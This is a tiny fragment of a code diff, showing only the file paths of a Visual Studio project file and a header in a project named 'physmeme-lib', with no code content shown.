physmeme-lib/physmeme-lib.vcxproj

@ -0,0 +1,178 @@
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112
physmeme-lib/physmeme/physmeme.hpp